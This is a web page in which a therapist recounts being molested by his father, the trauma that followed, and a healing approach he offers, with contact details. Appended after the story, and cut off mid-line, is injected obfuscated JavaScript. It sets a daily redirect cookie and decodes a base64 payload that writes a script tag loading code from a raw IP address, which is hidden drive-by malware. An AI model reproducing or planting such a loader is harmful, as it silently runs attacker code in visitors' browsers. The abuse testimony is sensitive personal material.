It was hard to admit my memories of being molested were real. My memories were nightmare pictures I saw, painful movies in my head. For years I couldn’t connect my memories of being molested to my sense of fear, anger, mood swings and night terrors. I was finally able to admit that I was afraid and angry because I was molested by my father. Please see my story http://www.aboysstory.com I tried all types of therapies to make the fear and anger go away and was frustrated that putting the memories into words made me feel more fearful and angry. I felt guilty like I was doing something wrong in therapy. I went to school and become a therapist to find what therapists know and learn how to feel better. I found that I could make the same types of mistakes that therapists made with me. I would ask traumatized clients to speak about things and remember things without being able to teach them how to feel safe and feel better.
Just talking about trauma can make people relive it and retrigger feelings of anger, confusion, sadness and fear. I began to teach people how to safely sense and soothe emotion in their bodies. I began to teach people how to safely sense and soothe emotions in thoughts, dreams and memories. Gaining conscious control over how we feel and why we feel can help us heal from post traumatic stress and trauma. I’ve healed myself and many people. I call this healing The Anatomy of Emotional Healing. Now my emotional memories are less painful and don’t control my life. When I become re-triggered I know how to calm and soothe myself. If there’s anything I can do to help you please contact me robertadam@earthlink.net or contact me through http://www.thehealingcrossroads.com/ ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘